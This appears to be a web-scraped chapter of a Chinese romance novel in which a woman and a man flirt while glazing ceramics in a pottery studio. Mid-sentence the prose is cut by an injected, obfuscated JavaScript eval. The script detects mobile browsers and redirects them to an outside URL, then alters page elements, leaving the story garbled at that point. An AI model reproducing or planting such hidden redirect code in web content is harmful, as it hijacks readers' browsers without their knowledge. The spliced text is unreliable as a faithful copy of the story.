虽然说祝念慈请到了三天的假,但最后一天下午就要赶回公司敲合同,所以完完整整的第二天旅假,裴以青分配给了“忆瓷”。
周浩在昨天收到裴以青司机送来的满满一桌打包的江西菜时,就知道这两人是一起来的。
菜辣的周浩下半张脸发麻,但他依旧吃的干干净净。换别的时候他想去吃,可不知道要排多久的队呢。
周浩笑眯眯的盯着刚进店门的两人。
他没正形的半倚着柜台,朝祝念慈点了下头:“怎么样妹妹,不能把我忘了吧?”
祝念慈笑了笑:“上次的展很好看。”
裴以青不动声色的挡了挡周浩的视线:“盘子呢,拿出来看看。”
周浩砸砸嘴,这才弯腰从柜子里拿出一个包装精美的礼盒。
“怎么样,我特意给念慈妹妹包的,漂亮吧。”
他故意这么说,并无视裴以青的冷眼。
祝念慈垂眸小心翼翼的拆开,一层一层确实包裹的极好。
烧好的瓷触感细腻,搪瓷蓝是很温润中庸的颜色,不像天空的明朗,也非深海的沉郁,介于青与蓝之间,如果非要比拟,那祝念慈想到的是——
春雨初霁。
釉面肥厚莹润,光泽似玉非玉,渐变染的均匀,过渡的极好。
“这个颜色配花瓶应该更好看。”祝念慈摩挲着手里的东西,轻声说。
“这个也很好啊,”周浩在一旁鼓励她,“第一次做成这样已经很厉害了。”
祝念慈眉眼弯弯:“谢谢。”
/
裴以青带着她到忆瓷的仓库,映入眼帘的就是一墙各种造型的素胚。
“店里还可以画这个,之前怎么没听过。”祝念慈拿起一个离自己最近的碗,在手里把玩。
很精致。
裴以青没回答她的话,只是说:“喜欢哪些就带出去上釉吧。”
“那你呢。”祝念慈抬眼问,“和我一起吗?”
他歪了歪头:“如果你想的话。”
她扫视了一眼墙面柜里的素胚,最终把目光落在最上面的一层。
祝念慈垫起脚,指尖将将碰到,有些吃力。
能感觉到裴以青就站在自己身后不远处,以他的身高完全可以轻易帮祝念慈伸手拿下。
但他一直没动。
裴以青看着她的背影。
外衣被脱掉,此刻祝念慈穿着一件贴肤的灰色针织衫,伸长胳膊去够最上层的素胚,动作将她的身段衬的愈发玲珑有致。
过了好一会,裴以青的声音才不高不低的传来。
“需要帮忙吗?”
他语调里带着些笑意,祝念慈明显感觉到了。
她这才转过身。
衣服的V领开的刚刚好,若隐若现的锁骨下肌肤白的晃眼。
裴以青失神了片刻。
她没回答,反问:“你在想什么?”
裴以青换了一个更舒服的姿势靠在墙边,回答的漫不经心。
“在想你能不能自己拿到。”他低头笑了笑,“也在想,要多久。祝总才舍得开一次金口。”
空气仿佛凝固了。
祝念慈维持着那副波澜不惊的模样,环顾了下周围,准备找个板凳垫一下。
裴以青几乎是瞬间就看出来她的意图。
等到再次闻到他身上的味道,她才切实感受到对方的逼近。
他目光一直盯着祝念慈,从她微微睁大的眼睛,到湿润微张的红唇,再回到那双浅眸中,
像是在欣赏一件艺术品。
裴以青终于闷闷的发出一声笑,认输般的低下头,然后抬起手臂,越过她的头顶。带起一阵风,很轻易的将祝念慈想要的那个素胚取下来。
但裴以青似乎来了逗人的兴致,没有立刻把东西递给她。
祝念慈伸手拿,裴以青一躲,她疑惑的对上他的眼睛。
祝念慈反客为主:“不给我吗?”
裴以青语气的笑意更明显了:“急什么?”
“是你的又不会不给你。”
绕口令似的。
祝念慈也没想到自己会下意识迎上去了一小步,直到几乎要踩上他的鞋尖。
她才距离到两人之间危险的距离。
被自己吓了一跳,刚想退后,却被裴以青拉住胳膊。
“跟我较什么劲?”裴以青声音低低的,好听的醉人,“平时感觉挺机灵的,怎么这个时候看起来怪迟钝的。”
祝念慈一愣,像被戳破了心事:“又不是什么大事……”
裴以青挑了下眉:“以我对你的了解,大事应该更不会开口。”
祝念慈被噎的说不出话,生硬的别开视线。
裴以青虚扣着她的手腕,摇了下头:“是不是大事不重要。”
“重要的是,你明明可以更轻松的达到目的,但你没有这么做。”
祝念慈嘴硬的狡辩:“我没想起来……”
“那下次记得想起来。”他补充,“你可以直接说‘裴以青,帮我拿一下’。”
……
两人又是长久的对视。
他轻轻叹口气,看着祝念慈的眼睛:“这对你来说很简单。”
“我说过的,你要学会——”他顿了顿,尾音轻快,
“沟通。”
祝念慈没说话。
就在裴以青准备退开时,她轻轻勾住了他的尾指。
裴以青动作一顿。
就这个姿势保持了很久,祝念慈才听见自己的声音。
“可以抱一下吗?”
几乎是下一秒,她就被揽入一个宽阔又温暖的怀抱。
安全。
这时祝念慈的第一感觉。
然后她轻轻的侧头,脸颊枕上他的肩膀。
内心的小人又跳出来说:帮忙拿东西可以,拥抱可以,祝念慈的要求裴以青应该都觉得可以。反正他一直在身边,不用白不用。
祝念慈嘴角几不可见的像上一弯。
裴以青察觉到怀里人的状态,像哄孩子一样拍拍她的背,夸奖道:“这次学的很快。”
两个素胚置于台面,祝念慈选了两个真正意义上的盘子,虽然她真的很不想承认自己那个真的有点像盆……
祝念慈拿起一支画笔,在台面上扫了一眼,微微蹙眉:“怎么没有上次的那个颜色。”
一旁整理货架的周浩耳尖,像闻到鱼腥味的猫,一下凑了过来,促狭的笑着说:“再让以青给你调一个就好了,上次那个就是他调的。”
他说着,朝不远处的裴以青努努嘴。
裴以青闻言抬头,问她:“要上次那个吗?”
祝念慈点点头。
看着裴以青手里不停,熟练的取出几个基础色调配,动作行云流水。
“你学过美术吗?”她忍不住好奇问。
“没正经学过。”他答的随意,用一只玻璃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992515|193782||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
棒缓缓搅动逐渐成色的釉料,时不时抽起来看看流动的色泽。
周浩看的津津有味,插话道:“要不上当年被裴叔抓回帝都继承家业,没准也是哪个窑口的大师傅了……”
话没说完就被裴以青一记轻飘飘的眼风扫过,立刻做个给嘴巴拉上拉链的动作,笑嘻嘻的溜走了。
“你公司是家族企业?”祝念慈没忍住问。
Jen在给裴以青公司做背调的时候,没跟她提到这些。
“不是,家里的公司是另一个。”裴以青把调好的釉料推到她手边,不动声色的岔开话题。
“试试看。”
祝念慈接过颜料,笔尖在素白的盘子上缓缓移动,勾勒出连绵的山脉轮廓,她画的专注,眼睛亮亮的。
裴以青坐在她旁边,单手支着脑袋看。
看她因为专注而无意识轻咬的下唇;看她白皙纤细的手腕控制着每一个笔触;再流转到随着画笔移动而微微绷紧的脖颈线条。
听着她清浅的呼吸声,裴以青根本移不开眼。
祝念慈扶了下发酸的后颈,意外得到一个对视。
“你……不画吗?”
这些素胚的造型都很有特点,不像是工厂流水线生产的,她觉得很漂亮。而且看不到裴以青画的话,有点可惜。
“你教我吗?”裴以青问。
换作平时,祝念慈肯定拒绝了,但此刻被他毫不掩饰的注视和挑衅一样的靠近所刺激,她突然话音一转。
“好啊。”
她忽然抓住裴以青的手。
祝念慈侧过头,迎上他讶异的目光,故意道:“这么惊讶吗?裴总这么聪明,应该知道画画不能纸上谈兵吧。”
她把笔塞到裴以青手里,往他身边又靠了半寸。
女人的手掌微凉,还沾着一点未干的釉料,直接贴合在他的手背上。
突如其来的肢体接触让裴以青身体僵了下。
还是非常被动的……
祝念慈就着他的力道,引导着他的手腕发力,轻轻压在她刚刚画好的山峦线上。
她的声音放的很轻,响在他的耳侧,带着一种前所未有的蛊惑:
“感受到了吗?手腕要先沉下去,再慢慢提起来。”
主动权完全掌握在她的手里,这让祝念慈觉得非常舒适。
她越发贴近他的耳边,吐气如兰:“学会了吗?很简单的。”
裴以青喉结滚动,下意识想反握住她那只作乱的手,却被她更快的松开了。
她心中升起一种恶作剧般的快意,尽管这种情绪对她来说很陌生。
好一会祝念慈才抬起眼,发现裴以青那股难得一见的惊讶早已被收拾的干干净净,反而似笑非笑的看着她。
“老师教的真好,”他慢条斯理的开口,“就是有点费学生。”
她正要反驳,裴以青忽然伸手,指尖轻轻擦过她的耳垂。
“怎么这么不小心,”他声音带笑,“老师这里沾到釉料了。”
指尖温热,触感一瞬即逝,祝念慈觉得皮肤一点点烧起来了。她下意识往后缩,却被轻轻拉住了指尖。
他挑了下眉:“躲什么?刚才胆子不是挺大。”
“……”
“看不出来,”裴以青看她一眼,淡淡道,“你还有这一面呢。”
“……”
周浩站在不远处早就捂住了眼睛,这两人……
是要把他的房顶给点着。